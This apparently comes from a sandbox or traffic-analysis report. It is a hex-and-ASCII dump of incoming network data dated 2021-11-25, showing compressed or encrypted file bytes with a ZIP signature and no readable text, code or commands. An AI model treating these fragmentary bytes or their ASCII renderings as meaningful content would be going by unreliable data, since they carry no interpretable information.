7d 42 e0 ba 7f 5f 10 dc 34 68 fa 72 fc 6a c1 be df 4f 53 52 9e 5d c3 42 fb fe a0 e3 da 82 6b 38 6f 29 ee bb 37 83 5b 42 e1 
fa a5 dc eb eb 7f 00 50 4b 07 08 99 e0 54 92 fd 0f 00 
Data Ascii: u$:\~T0Vt#5)Z=YsBS9hhB.&uYYq=AS#k^ub;@ryUs2lw{"kv$GQ6m):kg7'be1SYqmJ85}B_4hrjOSR]Bk8o)7[
BPKT

2021-11-25 16:27:48 UTC 726 IN Data Raw: 01 7c db a7 0b 01 74 f4 85 0b a8 58 05 d0 38 30 8b d1 15 42 c4 c2 46 51 46 21 ae bc b5 12 0b 2a 84 12 90 e4 
64 d6 56 25 78 ef 8a 2c 42 ac 88 e6 a6 70 0b 1e bf 03 d3 6c ab 51 05 04 9a f3 40 6a 51 c0 3e 7a b0 6c a4 da 6f 2c 15 4f 
b7 36 3a c9 2b 94 6a 49 ea 5c c0 fd c0 ee e2 19 48 92 8c 46 3a c9 02 fb 47 f5 0d e4 4d c6 4e 28 9a b0 b6 11 66 93 64 8c 
96 42 e3 2d e0 09 42 29 ac 98 79 4f 4a a8 9d 85 e9 29 c4 95 c7 5f d2 c2 c0 21 a8 5c a6 e5 3b eb 50 45 19 2d 50 a2 03 48 
84 83 a9 c1 23 2c e7 43 67 14 c5 c0 da 10 9b 12 55 4d 6f 6e 6c c7 9a 8c d3 22 92 09 1f 2d 0f ae 65 bc 5d c7 5f 42 02 cf ee 
4d 64 b8 a2 10 41 12 4c 48 8e 18 04 6b 35 69 f7 b6 f3 42 f2 2b 76 5a 75 11 99 de 61 65 4d 6f 52 82 56 a6 e5 ba f3 97 95 
b4 1a 60 11 ee ea a6 26 e2 24 52 6a 14 76 47 79 9a 2d 
Data Ascii: |tX80BFQF!*dV%x,BplQ@jQ>zlo,O6:+jI\HF:GMN(fdB-B)yOJ)_!\;PE-PH#,CgUMonl"-e]_BMdALHk5iB+vZ
uaeMoRV`&$RjvGy-

2021-11-25 16:27:48 UTC 728 IN Data Raw: 9c a2 02 a4 7a 4d ae 72 d1 ef 14 dc d0 5e ed 98 de cb 2c 16 8f ae f7 96 e3 2d 4d 9b 51 c4 3c 4d 67 ad ca 52 fd 
cf 11 7c 4d ea de 92 90 a6 e9 bc d4 06 ec 0b a1 65 b8 39 50 8b ef b1 fa a6 74 42 22 91 c9 9a 40 e6 2f 22 67 1d 2c 68 7f 
f4 5c 2d df d1 1f 37 56 b3 c6 03 88 c1 79 0a 00 20 b0 01 38 c8 44 e0 86 68 7a 4a 49 df 6c 12 e0 5b 5b 68 60 4a 00 e9 92 
60 d5 82 71 de 21 39 a4 72 4b 53 eb 24 1f 80 f1 4e a9 00 b8 47 5c 7a f4 90 9c 23 6d a4 7d ba 8a a5 02 2c 9c fa c3 9a ce 
1f 00 90 22 02 96 39 20 4a db 46 46 76 b7 0b e2 c4 29 fa 07 31 7d 5c 69 2b 7c 44 87 a4 41 37 45 75 d0 c4 f7 90 2d 75 05 
fd a9 ac 35 ba e9 c8 52 bf f7 1b 62 ba a9 77 4d 9d 67 db cb 1d f4 63 07 1d 5d 24 57 ba 8e 35 e7 40 7f 6b 4a d0 1d b4 00 
d4 d7 00 eb d1 14 0c 8e 65 0e 06 2d ae 40 bc 21 0d 05 
Data Ascii: zMr^,-MQ<MgR|Me9PtB"@/"g,h\-7Vy 8DhzJIl[[h`J`q!9rKS$NG\z#m},"9 JFFv)1}\i+|DA7Eu-u5RbwMgc
]$W5@kJe-@!

2021-11-25 16:27:48 UTC 729 IN Data Raw: 55 ce cf b0 ab 6c 3b cc c7 9f 2f 28 99 cd b2 0a c6 b0 fb 61 05 d7 d3 09 a8 c2 c5 c5 e4 7c c2 d8 84 3b a7 e4 74 
9d 4e 16 27 e3 f9 29 79 ea 6c 32 bf 1c 73 a9 c8 9d 97 73 ba ce 26 d3 32 c2 cb 0a 99 3d 65 8a 0f 37 8b e3 14 45 1d 03 45 
9e e9 9f 39 15 d3 71 4e bf f2 af f4 38 c9 d9 db 1c e2 f3 4f 8b 38 c9 79 49 00 cb ec 9b 3b f4 e5 14 0c 88 73 1f 82 0d 89 c7 
54 cb b0 94 e1 e8 83 0a b8 fa c0 9d ae 0c 2a 58 5c 23 53 73 34 e4 fa 2d 4e 47 e4 43 af af cf 57 b3 f9 aa 24 62 93 87 63 fe 
81 c5 a0 22 8a ef d9 4d 99 13 61 e6 0b f6 41 25 67 e5 78 79 8d 5a 45 84 af 64 50 37 3f 63 1f 54 85 52 91 07 35 f7 5d dd 
a0 06 10 d7 bf 01 7d 90 a7 43 c5 8b fb f2 91 53 97 ea d7 0b b8 ca 9c d2 0e eb 39 9b 97 e5 3f f2 62 c6 fd 8f 87 61 25 1c 38 
33 5f 80 be a0 60 0e 5f e5 1b c9 0f 8d 87 55 
Data Ascii: Ul;/(a|;tN')yl2ss&2=e7EE9qN8O8yI;sT*X\#Ss4-NGCW$bc"MaA%gxyZEdP7?cTR5]}CS9?ba%83_`_U

2021-11-25 16:27:48 UTC 730 IN Data Raw: 76 3b fa 9b f0 7f e8 2b ed b9 64 5e 33 e7 84 f2 82 f3 4c c5 d1 92 3c 63 36 c8 c3 28 e3 15 2a 2f f2 19 95 c0 3a 
e6 a5 1a ca cf 58 88 8d 50 48 29 53 ea 2d 79 d9 37 a1 06 b2 90 58 54 49 cb 90 76 ac 2a 43 7d aa bb 44 44 c5 b0 a3 7f c7 
2f 0d 55 21 5f 6e 54 ff 97 ae de 69 b9 a5 f7 30 23 9f 06 f1 4d fc 61 44 16 28 33 3a ac 01 d6 34 0d e5 b6 da 04 55 b1 38 06 
85 62 4b e5 7d ab c8 1c 2b 0e cd a4 a2 d9 15 56 2a ef 9d 43 0e 43 e8 f0 f9 e8 28 e1 e1 26 e6 81 0a da 08 01 47 25 d8 f6 
f5 0a f1 31 3d 9d 22 40 56 cb 9f be 7c 7a b8 2d 3f fd 74 b3 dd de 35 f7 bf f0 d1 af ec eb cb f2 f3 fb 9b 87 fb bb 6f bf f2 af 78 
01 e2 63 f4 75 be 38 1f cf a6 7f 2f 16 df 46 64 91 0c 70 a4 ea d1 fe 59 91 7f 56 2b 17 5c d6 90 f5 9e 9b 11 27 3f 35 e4 f9 9c
9a 9b fb 0f cd ed 0f 6a fa d3 a3 9a 
Data Ascii: v;+d^3L<c6(*/:XPH)S-y7XTIv*C}DD/U!_nTi0#MaD(3:4U8bK}+V*CC(&G%1="@V|z-?t5oxcu8/FdpYV+\'?5j

2021-11-25 16:27:48 UTC 732 IN Data Raw: 78 ae 48 f6 46 39 46 06 c0 02 84 b5 f2 56 6b 9a 22 81 87 70 22 62 59 0e ed 89 56 00 7c 24 1a 87 97 93 51 68 
19 5d 37 7b dc 31 7e 2d 41 9d 61 8f 03 8b 06 7d 04 e3 4c 42 f4 ea b4 6d 70 0e c7 3d 7d 5c 8b a1 11 d1 2f 10 b5 37 1f 7f 
3e fb 38 ea cf 1c e3 db 94 62 0c b6 83 fe 63 dd 16 dd 43 a6 e5 39 84 a0 3d 48 6a 45 d3 a7 58 82 bc d3 4d 0e 36 77 40 a4 
15 de 05 42 86 ff 22 da c1 59 33 2f 6a 31 2d 30 97 fd fc 32 d7 04 f7 09 65 9c ce b5 53 cb 7e c2 1c b1 a4 d6 0c a3 99 54 b0 
93 be a2 4f 83 98 db d7 d5 56 03 6e 08 99 aa ca 3f ef 3c 49 14 bd 1b 0e c4 c9 6f 6f c5 e8 17 c0 cf 51 3e c1 cf d1 ce f8 cc 
e4 b8 5f 3a 35 a3 08 e9 a0 b7 a3 a8 44 d9 f6 a5 ef 69 54 6d 3c 7c 28 bd 85 53 1d 43 53 23 32 15 3e 1f b0 08 be b3 cb a8 
c4 02 ca b0 21 c4 3b e0 08 ac 36 e7 8a e8 7a 13 c0 
Data Ascii: xHF9FVk"p"bYV|$Qh]7{1~-Aa}LBmp=}\/7>8bcC9=HjEXM6w@B"Y3/j1-02eS~TOVn?<IooQ>_:5DiTm<|(SCS#
2>!;6z
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2021-11-25 16:27:48 UTC 733 IN Data Raw: 36 7a c3 2a 16 c5 df ae a7 8b 22 71 4d ae c7 1c d6 b2 7a 7b 55 3c b2 dd e9 e0 28 51 75 39 5d 2c e6 8b e9 ec 
bc 8b dd f5 f2 fa 05 f9 08 5f 25 61 9c 01 e6 44 e1 ac 58 bd 99 2f 5e 21 8e ce ce 8a 05 85 e3 9b e9 d9 34 f1 77 86 a3 0d aa 
1a 5a 60 ee de df a0 92 e5 f8 b2 c8 9a 92 9b e6 0d 6a 79 43 7b b6 be 3a 4d 5c 93 22 68 aa 63 7e 2c 95 3b e1 4e c4 ae 16 
d3 d7 e3 d3 b7 eb c9 78 35 5e 5f 2f c7 e7 45 26 9d 92 53 e6 44 cd 92 68 4d be b8 e4 e0 26 2f 7f 31 3f 4f ca 63 a6 61 ca 08 
af ae af d6 af a7 cb e9 8b 69 08 b2 c1 2d cd dc db 4b b5 cd cf 56 6f c6 8b e1 c8 cf e1 5f a2 e5 7a f6 6a 36 7f 93 c8 e6 9a 
d4 44 f6 f5 74 52 0c 57 fb 0c 2b 19 d0 b0 bc 9c cf 57 2f 67 c5 32 f1 6a ee 32 68 a2 e4 6d 91 82 55 e6 36 4a 90 5b 9e af cf 
50 90 11 bd ab 39 b0 66 99 94 af dc 31 5d 27 
Data Ascii: 6z*"qMz{U<(Qu9],_%aDX/^!4wZ`jyC{:M\"hc~,;Nx5^_/E&SDhM&/1?Ocai-KVo_zj6DtRW+W/g2j2hmU6J[P9f1]'

2021-11-25 16:27:48 UTC 734 IN Data Raw: 3a 8b e9 25 ed 5f 91 bb 5e 67 96 5d 8f a3 24 73 f7 b6 3e df 5f 7d 9e 7f be ec 7d f7 64 4f d0 60 fd 96 b3 2c d2 ac
3f 2c b2 d4 ae 6d bd f5 9d 39 37 e3 6c 97 9f 7f be bc 78 dd 91 af 87 fd 3b 37 f3 fc 2c 48 db 61 42 bf d6 6a 13 4e b1 86 6e 
ea ad cb 3d ba 8e 14 f4 14 cb f1 38 0c a3 87 87 24 06 1c c9 1a db 07 01 7d fa 99 5e 3c 3c 9c f3 df db 9d 9d 68 6b 58 cc 17
51 91 a0 df 5b 5d 72 3f 90 fb ea c8 45 75 86 c5 d6 05 03 13 c3 45 a4 d7 ba 04 97 18 80 b9 7f 18 c6 f4 0f 2d 32 35 ba 45 
bd 57 1a 3f 9a cd a2 3b ea d4 5e 4c 3d e1 a8 33 5c 64 13 cf 9a 89 1b 89 58 a4 12 be 12 8c 3b f2 e8 cf 11 66 83 cd cf b9 
07 cf b9 9e 4d 17 53 34 42 8b 17 e6 3b 3b 7a c0 ea a9 88 26 fa 4b d4 19 44 f3 8b 55 f1 66 36 bd ce 08 59 b8 39 0d 39 ee 
10 b0 8d dd 54 44 57 79 4f e4 22 52 07 c4 ac 
Data Ascii: :%_^g]$s>_}}dO`,?,m97lx;7,HaBjNn=8$}^<<hkXQ[]r?EuE-25EW?;^L=3\dX;fMS4B;;z&KDUf6Y99TDWyO"R

2021-11-25 16:27:48 UTC 735 IN Data Raw: 83 4e bc ec f7 b3 99 27 5a f4 f3 6e 41 3c 58 7f 9e 2d 84 c1 64 35 d2 c1 4d 1e 73 15 6a 18 f0 43 47 1b 27 5b 23 
23 74 62 15 72 65 ab 2f 55 63 2e 3e 97 b3 26 04 41 5c 73 b6 a8 bf a6 3d 2b 81 56 c3 a6 ec c7 dd af 0f e9 58 22 e9 8d 35 
78 cd 94 77 e3 b5 e4 4f 36 5e 4b b2 fb f8 52 45 16 8b 5a 1b 80 a6 53 ba 72 6c f3 ad 34 ec e9 72 96 64 22 b2 c5 f0 09 88 
8e bb 77 f5 eb 1e e4 6f 8f 50 2a b1 6d 9d 71 34 5f 9c e3 dc 01 5f e9 df 22 ae cf 77 3c 8d bf 35 d2 ab a8 27 ee 81 8d 7c ea 
92 fe 59 7b 6b 29 91 96 ec 72 79 e0 ab 2c f4 ba 25 51 e7 55 4f 0c e8 0f 1d e1 28 21 c9 bd 9b 42 27 83 13 2f 71 06 51 be 
18 02 72 23 50 58 d4 3a ae 62 85 45 e4 30 32 89 a8 48 5c f9 32 a4 0f 3f 53 f1 ae 16 49 c2 7d ff 9a 68 85 e1 44 23 10 02 
c7 60 34 b0 83 44 bd 35 aa bb 4a 7a eb 06 6c 11 97 
Data Ascii: N'ZnA<X-d5MsjCG'[##tbre/Uc.>&A\s=+VX"5xwO6^KREZSrl4rd"woP*mq4__"w<5'|Y{k)ry,%QUO(!B'/qQr
#PX:bE02H\2?SI}hD#`4D5Jzl

2021-11-25 16:27:48 UTC 737 IN Data Raw: 52 00 cc 9a b1 59 44 5a 37 e1 7c fe ec c3 be d8 73 3c d9 65 46 5d 66 4d 5d b6 d0 e4 49 d6 75 b3 8e 34 fc 3e 
1b 86 4a 57 4a 0b 9e 0a 47 be dd 4d 89 6f 17 a0 fe 49 97 ce 1a 31 19 82 16 d0 7f c6 d2 08 c9 64 1d b6 9e ba 8e 31 61 fb 
5b e9 70 1e c5 63 3a f1 5b d1 72 31 25 ac 39 4c b6 e2 e9 74 41 0d 46 d7 9d ad 43 69 14 ff 69 8b cd 65 c9 74 4c 6c 4a 3a 
24 5c 96 cd b7 88 5a 65 b7 8b ac 98 d3 32 88 2d 4d 9d 3b 30 c3 62 65 3a 83 59 d6 a7 d7 54 b2 98 2e b6 18 21 77 1c 9b 
1a c4 a9 26 32 cf 09 bd 12 01 4e 69 ef a0 a6 78 e3 de eb 69 12 0f ba d6 18 2a 09 2d c6 45 12 11 e6 e1 09 d3 fd 2e d7 d8 
33 c8 91 08 03 1d ee 92 69 e8 3a fa 97 e3 33 15 0a 4a 71 27 c6 6c af 53 47 24 25 8c 1f ee d1 a9 1d 2f 2a 70 ff 13 de e5 
78 e7 05 eb 18 02 09 21 aa b8 b3 2c e6 83 61 7f e1 5e 39 4f 
Data Ascii: RYDZ7|s<eF]fM]Iu4>JWJGMoI1d1a[pc:[r1%9LtAFCiietLlJ:$\Ze2-M;0be:YT.!w&2Nixi*-E.3i:3Jq'lSG$%/*px!,a^
9O

2021-11-25 16:27:48 UTC 738 IN Data Raw: 9a c5 6c 3a 1e ab a2 e5 63 73 f1 94 16 98 36 ed 26 53 a5 6b 2c a7 63 be 73 d3 4a f0 7c a4 ac f9 2e 87 41 c0 
e2 1f 0b 82 92 0a 60 9c 1a bb 80 bd e9 eb 60 b0 b3 73 ec 0e 2c 88 86 aa a0 3c 44 b3 92 ee 49 75 bb 66 c1 35 11 21 e9 
52 58 9e 74 10 34 a5 79 3d ed 85 90 32 8d 45 f9 b9 36 28 a7 ac 4a 46 33 f7 6b 61 29 a8 d3 52 53 49 07 bd fa ea c0 2b 5b 
34 08 a5 42 4b 5e d8 22 29 94 19 51 22 85 4a 66 a8 88 cf 86 3e 11 08 89 0a 99 d9 6e 28 1c 5b 36 93 8d c9 2a 4d ab 74 
04 8b e5 b9 da 3f a4 81 95 c6 fd 8a 3d 3e d5 14 4f 9f a7 d8 5e cd e3 a8 62 61 81 de ff c3 f5 b5 61 a8 4a 1d 44 22 59 c1 c8 
e8 d9 f4 88 0f a4 5d 05 ce 12 ff 59 75 f1 c8 d2 8a 4e 58 91 d2 67 4a 00 3b 9b 45 39 b3 94 20 35 57 6c b7 9e 26 92 f7 96 
bb 9a 2a 9d df c9 60 38 4e 5d 5d 5d c9 24 2e c1 e3 0d b8 76 
Data Ascii: l:cs6&Sk,csJ|.A``s,<DIuf5!RXt4y=2E6(JF3ka)RSI+[4BK^")Q"Jf>n([6*Mt?=>O^baaJD"Y]YuNXgJ;E9 5Wl&*`8N]]
]$.v

2021-11-25 16:27:48 UTC 739 IN Data Raw: f1 fb ae 55 2c 4a d3 3f 1c 0a d1 8c 67 0d 05 f5 30 6c 95 6d 05 b4 69 63 7e 89 af e2 2a 07 0f 3f 9e 51 7a c5 ce 
d0 c4 2a 58 86 e3 d7 15 69 cb e0 0f d6 e1 10 d6 98 3f 93 dc fe 9b 19 13 c9 cc 2a 52 06 7a 74 d2 5a a1 b5 66 aa e8 c8 5f 
a5 0f 0f 09 3b ee f5 c0 5f 4a 78 f7 f7 25 d1 c3 11 ff 4a ac c1 70 32 c9 d2 a1 14 dd af a3 9c 25 fa cb c5 94 58 f1 d4 f8 3f 27 
24 df 4d af cf 1b 4a 06 8f 7f b2 87 fb cd 6e c2 16 c2 0a b8 1d eb 23 78 94 da 2b 97 75 65 7d a9 1f 4d 08 27 62 95 9a ba d6 
0d 6f 2c 18 1b ce bf 39 18 b9 7e 03 92 7e e6 d7 59 32 8c c6 2f 98 1f 99 7d 9c 41 3a 99 3d 3c 5c 64 c1 c1 61 c6 56 4f 92 eb 
69 8d 8c 14 3f 22 34 39 22 64 82 a8 a5 3f 18 99 4b 34 66 00 fb 80 48 af 46 c4 37 ae 49 38 82 bd a2 54 27 59 fc ce 45 66 
f4 f9 5a 35 6c 3b f4 bc 31 9f 25 72 03 32 
Data Ascii: U,J?g0lmic~*?Qz*Xi?*RztZf_;_Jx%Jp2%X?'$MJn#x+ue}M'bo,9~~Y2/}A:=<\daVOi?"49"d?K4fHF7I8T'Y
EfZ5l;1%r2

2021-11-25 16:27:48 UTC 740 IN Data Raw: 2b 4a aa 26 c9 95 4d f1 11 90 98 30 93 10 24 1b 1c b6 74 33 30 84 3e b5 fc d2 2d ea cf 06 b8 fb 27 c0 53 39 b6 
39 02 87 bb 5e 8b 45 58 74 cc 4a 85 03 b7 a8 f9 87 ff 4e 0b 35 57 3e 18 b0 ea 8d 8d 63 89 cd 41 5c d3 22 d7 f1 2c cd f3 
14 7b 7c 4c ad 9e d6 5a 8d 1b 26 29 e2 86 71 f3 6c 09 d0 a5 66 17 0a 04 58 ea 8f 03 6b d0 ba 81 b0 25 19 13 da a2 63 6f 
1d 18 2a 4d 5d e9 5f 88 d0 89 42 56 c2 53 23 ca 6d ab f4 05 a1 3a c6 df 34 de e0 43 88 ef 5f 96 04 77 8d d2 10 ee 5f 67 
ab 57 aa f9 aa 27 1c ba f9 66 03 c6 31 64 69 65 f9 c8 cc 8e 92 7c cb 8c b8 f4 59 cd 8e 96 84 94 12 68 b9 68 2b aa ae a1 
db 07 eb a0 14 be 08 f2 a5 52 0e 4e 8c da eb 4d bb 3a 2a bf 47 8b d7 4d 2b 14 d7 0a eb 06 c4 04 1c 5a 67 a1 8f f9 74 62 
c4 c1 9a f7 83 13 81 00 7c b5 03 b5 88 33 23 1e aa 91 
Data Ascii: +J&M0$t30>-'S99^EXtJN5W>cA\",{|LZ&)qlfXk%co*M]_BVS#m:4C_w_gW'f1die|Yhh+RNM:*GM+Zgtb|3#

2021-11-25 16:27:48 UTC 742 IN Data Raw: fc e4 51 05 7f c5 99 38 a9 ab eb 80 d7 81 19 16 dd 85 e4 40 5c a0 e0 c2 f3 17 70 b2 87 87 87 88 3a d7 1e 7e 
8a c2 03 ba 16 45 a7 08 6b 6e e8 b9 62 33 a8 b1 16 4e 1b fb df 77 ae 71 ae 39 91 22 d5 80 28 ab 5c bc b6 74 72 07 78 7a 
27 11 01 cf 99 f6 86 75 9d e1 90 ed 90 81 ca d1 23 06 08 bf 5a d3 8c ef 87 29 84 22 31 02 9d 27 82 c2 1a 92 24 ba 8e 92 
e1 82 0e a4 cc e6 d1 79 75 f4 e9 b7 7f 1c bd fc 70 4a 54 06 e5 e4 50 21 45 e1 9c 69 e0 07 27 70 4f 5c 68 4d bc 93 91 d8 
4a 73 35 3e ac 37 a9 e5 bf 09 55 27 b4 35 e1 56 46 d9 1d 86 15 40 0a 5e f3 ec 46 0f 0f 7d 82 c4 91 94 29 fb 3f 8d 09 1b 
62 63 a4 b1 c3 e5 dc 78 d6 39 94 02 7e 8d 57 7f ac f3 98 3b af 30 58 d4 73 e9 53 89 4e b5 59 e5 7f d2 66 1c 4a b0 28 08 
ff 5e 7b fc b8 60 d8 a0 ad f4 82 1c 3b 2a f8 8b 3a 0a 68 
Data Ascii: Q8@\p:~Eknb3Nwq9"(\trxz'u#Z)"1'$yupJTP!Ei'pO\hMJs5>7U'5VF@^F})?bcx9~W;0XsSNYfJ(^{`;*:h

2021-11-25 16:27:48 UTC 743 IN Data Raw: 98 17 c7 0a 00 ff b0 b1 53 d3 d8 e9 5a 69 a0 74 63 12 6a 4d 06 94 3f dd e4 b1 69 f2 58 36 b9 0c 0f d4 24 a7 85 
94 a3 e7 ef 17 8d 42 e8 46 76 2c 77 69 1a 5b 2a 0d 94 59 31 42 60 28 6b 68 d2 b7 46 b6 d9 f0 99 69 58 a9 2e 66 68 b8 
25 5b 9e 4b 0b ee 7f b3 e9 99 69 7a 56 b3 8e d8 14 73 58 2c b2 d9 35 33 86 cd 04 d4 79 a2 11 91 d2 d1 e1 15 67 b0 92 
e9 22 8c e3 b1 a8 25 96 98 27 fc 8f 0a 71 c4 cf 27 73 09 84 84 d2 86 1b 49 25 32 51 88 5f 22 f1 52 bc 15 ef c4 17 0b e1 af 
94 ce 0e 78 66 77 f7 85 0e 78 ff 18 a9 d0 0a c1 bc 70 d1 4f 06 05 89 fc 4b 2f 78 d9 90 9b 42 bb 12 44 24 f1 c6 e1 47 e3 4b 
10 1d c6 41 bb 1d b1 66 f8 63 44 fc aa d1 0b af 98 ba d1 df b5 e9 69 5d 6a 99 5f 44 ed b6 25 78 9c 58 ce e5 f7 9b a9 e9 
a1 7e 53 1e a6 fb 2a 31 4e 99 9d fe 30 e5 c0 76 65 d4 
Data Ascii: SZitcjM?iX6$BFv,wi[*Y1B`(khFiX.fh%[KizVsX,53yg"%'q'sI%2Q_"RxfwxpOK/xBD$GKAfcDi]j_D%xX~S*1N0ve

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 744 IN Data Raw: 23 c6 8d df 7f a4 96 e5 3c aa e1 52 b4 7e 57 a3 5e 38 c6 51 99 d0 c9 6f 70 6d f5 e0 da 1a 16 82 83 af 46 52 90 
1e b1 bf 46 a0 2e 7f 20 56 84 a8 80 dc 9d 91 70 8e 78 67 c4 a9 b8 f3 d6 c4 5f 5f 2f 39 10 03 97 65 0d 86 69 9a 15 32 9f 6f 
35 14 94 2f d8 f2 36 83 32 91 6c d0 44 a0 09 c4 b2 cb d0 80 ed b7 fa 18 f7 d9 31 81 b0 23 ab 9a 9e cb 9b 19 fa 74 a0 21 3f
d0 81 f6 64 92 02 bc 76 c0 6f f4 25 ea 88 88 3e 72 c2 00 3a c6 1e af 4c 04 7f 76 a1 27 71 22 c1 4b cf f6 3d 7d fe 1e 1a 2a 
b4 ac 96 57 65 4e 6d 47 96 ee 36 b0 d2 37 5d 46 fe 2d 5a 8b 4a dc 52 f9 fe 77 ff 82 48 c9 3f ad 43 b1 8e e5 4d 54 b3 a8 
c9 13 c6 2e 69 54 8e 39 49 fa 2a f3 81 dd 0d 87 4e 2b 9d 24 0e 0c 00 48 6e d0 40 38 af ac b9 0d 30 37 68 e8 11 f4 aa 98 
ea a4 c2 54 ff ab 8a 9f 91 2b 32 e4 a0 b6 f8 
Data Ascii: #<R~W^8QopmFRF. Vpxg__/9ei2o5/62lD1#t!?dvo%>r:Lv'q"K=}*WeNmG67]F-ZJRwH?CMT.iT9I*N+$Hn@80
7hT+2

2021-11-25 16:27:48 UTC 746 IN Data Raw: 41 d4 6d 41 93 39 f6 68 89 67 9e ff 68 31 2e e3 49 cd cc 2c 38 0b 65 42 61 96 a7 56 18 ef 4c 4b ad fc bb 32 82 
f2 11 09 67 67 96 1a 88 70 1d 26 bd 18 83 db 67 70 09 69 99 0e 82 15 02 15 6f a0 58 44 ae 97 55 54 ad b2 8a 64 9d 87 
87 55 64 f5 8a 62 76 b7 d6 33 b5 3e e2 d8 1e 5e ae 35 f6 6b 7f bd 5d 19 26 90 8a ed 98 e3 de 85 77 0f 0f d0 66 60 49 fe 
dd 69 9f b5 9d 7f df b2 4d 4f 77 57 67 3d b9 72 f8 45 8b a7 b7 a1 1c 2c 46 ff 09 0a ad 99 1e 31 ef 83 2e 30 e7 18 a1 a5 6c 
64 49 2d 08 47 c1 18 e4 dc 1b ef 
Data Ascii: AmA9hgh1.I,8eBaVLK2ggp&gpioXDUTdUdbv3>^5k]&wf`IiMOwWg=rE,F1.0ldI-G

2021-11-25 16:27:48 UTC 746 IN Data Raw: 17 8c 53 ac c2 72 bf c5 db f0 78 03 1a c1 80 c8 a4 75 27 d2 2e e8 9e 89 94 86 e4 81 f9 3f 86 c0 f1 25 72 fb 26 
84 e1 ad d8 c7 75 b1 e2 2d 64 cf 27 4f 4a 15 55 c8 6f ca 67 82 6e 12 43 46 11 c1 39 63 91 9d 9d 9c 37 5d dc 3f 7a ac fc 
e5 da 2b 5d c9 2e d9 8d 87 83 fa 6f 68 0b de 86 ad 2b 09 f9 ab 84 f5 44 cf 94 ab da 4d 23 91 94 de 5e b6 93 16 09 18 5d 
db f3 e9 00 2a fc 55 22 7d 32 2f 61 94 67 f5 d1 33 0e 20 66 e2 78 cc 7b 0a e1 c6 f5 1a e8 24 d5 25 09 57 46 4f f5 82 b8 eb 
72 55 5a 73 6e ec 92 53 19 93 d0 7a 69 5c 4b 10 f3 fd d6 4a af 7e ed 3e ab 8d bd 2e b0 12 66 95 3c 37 f2 63 97 2a a7 82 
93 ce 5d 7a 97 57 45 0c b7 35 fe 57 2d 37 ff e6 60 60 e6 51 de d2 16 cf 12 be 35 af 9c 0c f1 c1 fa 4e 1b 7b 97 14 b9 50 ff 
dc 57 4c 46 7e 5d cc 91 82 8f 46 c2 34 b8 77 46 
Data Ascii: Srxu'.?%r&u-d'OJUognCF9c7]?z+].oh+DM#^]*U"}2/ag3 fx{$%WFOrUZsnSzi\KJ~>.f<7c*]zWE5W-7``Q5
N{PWLF~]F4wF

2021-11-25 16:27:48 UTC 747 IN Data Raw: c8 07 37 45 09 dd 55 b9 24 53 6d 05 b1 6c 20 12 39 10 c1 58 89 09 89 c3 70 5a a3 e3 15 e9 9c 43 74 c2 e8 8c 
9e 88 7b db b5 5a 86 ab 95 68 97 9f 15 db 26 1f 1a 18 19 ff 64 0d a1 fc c8 3d a9 70 83 dd ca 23 87 42 f8 95 57 e2 2e 3c 
d9 e4 9b 83 d8 08 0c 99 fb d2 eb 2c 06 99 15 50 09 65 1d b8 f2 84 4f cc 49 c9 98 27 86 29 4f 34 53 7e 27 f3 dc 32 0b 2e 
79 06 24 85 e0 50 21 89 be 6c 3e 3c fb 06 1f 7e 22 51 d2 4b 64 2a b2 18 70 66 cc 63 7d a7 c8 29 d8 f1 0c ec 78 02 a4 70 
62 30 12 d1 8a 53 99 a8 35 3c d5 1c 76 a4 38 ec 44 89 4e c4 73 d1 01 60 c6 ba 92 b4 87 64 f5 55 c8 26 2e 40 59 4e bd 9d
a8 ed 25 30 eb d7 e2 37 22 75 7b 7d 1f 81 35 d8 6e 4f c9 71 13 38 02 e2 85 ad b0 cb e9 98 9b d8 7f 5a be 42 03 86 f2 07 
ae 3e 1f 97 cf 08 1b 36 df 4e a5 33 a4 46 e9 a9 0e e3 65 
Data Ascii: 7EU$Sml 9XpZCt{Zh&d=p#BW.<,PeOI')O4S~'2.y$P!l><~"QKd*pfc})xpb0S5<v8DNs`dU&.@YN%07"u{}5nO
q8ZB>6N3Fe

2021-11-25 16:27:48 UTC 748 IN Data Raw: 33 a0 76 d2 75 fe cb f1 69 0a fa 9a 77 62 2b 21 b0 cd a1 6b ea cb b8 1f 91 e2 e0 24 57 ab 9e f1 95 02 2b a0 71 
4b 2d 5d 95 ba 55 ea e1 e1 1d e3 dd dc 1d d0 56 a0 05 d5 4e 24 63 36 2d cc b4 32 98 49 05 21 2c b8 b3 e0 dc 5d 78 5d 
ae 13 d3 2f 84 8b 50 93 0b 19 fe 49 2f e1 45 8f 7f d5 42 7e 4d 64 2f da 41 ac ea ae e9 84 8e 0f 5e de 9e 26 8f 75 a2 0c b8 
f6 84 03 6b ae e0 f2 26 04 0d 78 a5 8a 62 88 27 21 89 6c 78 a5 dc ac 4e 3a e3 21 a1 e1 68 dc bd 89 fc 41 a2 04 a7 93 4e 
c4 11 91 95 88 d7 45 c8 c3 3f 71 cd f5 d4 92 0e 15 b2 ac 23 d0 2e c9 b6 2d 3d 9a 75 60 57 99 54 12 19 e1 3a 24 9e 36 ed 
19 7e d3 8a 9d e2 6c 70 05 cf 97 ab 57 46 60 87 f1 3a 98 74 9e 70 9e a1 fe 12 5a 73 da 4a 12 d5 4d d6 87 ae e6 cc 4e cc 
2b 9e a7 98 20 85 ab 22 1a e6 95 8c 81 30 73 7f 6c ed 
Data Ascii: 3vuiwb+!k$W+qK-]UVN$c6-2I!,]x]/PI/EB~Md/A^&uk&xb'!lxN:!hANE?q#.-=u`WT:$6~lpWF`:tpZsJMN+ "0sl

2021-11-25 16:27:48 UTC 749 IN Data Raw: ae 42 60 ab c9 a0 57 86 3a f5 4b 36 78 67 e7 bc bc 62 5a 26 9d 36 d9 a1 e7 a9 b9 a6 d7 8c f7 ea 7b 0b 70 06 
7d 2b eb 1f 71 92 3a 9b 0b 61 c7 26 ee b5 e9 ba 84 40 25 75 94 17 97 db a9 78 13 be 61 20 16 56 ca 3b 07 06 29 42 29 6f 
a4 56 4a de 5b a2 d3 fb 8c c7 d3 d5 f3 f1 34 8e c6 56 e7 c8 c1 bf bd ff 8d cc 28 3a 97 a8 65 67 ad e5 a6 b6 dc 76 70 2b 36 
2e bd ef 48 8c e0 d9 09 38 ad 41 72 d8 0f b2 f6 71 52 02 5d 1a 83 6d 25 eb 3a 4d c8 a5 6b 84 72 35 09 06 f2 f2 88 41 30 
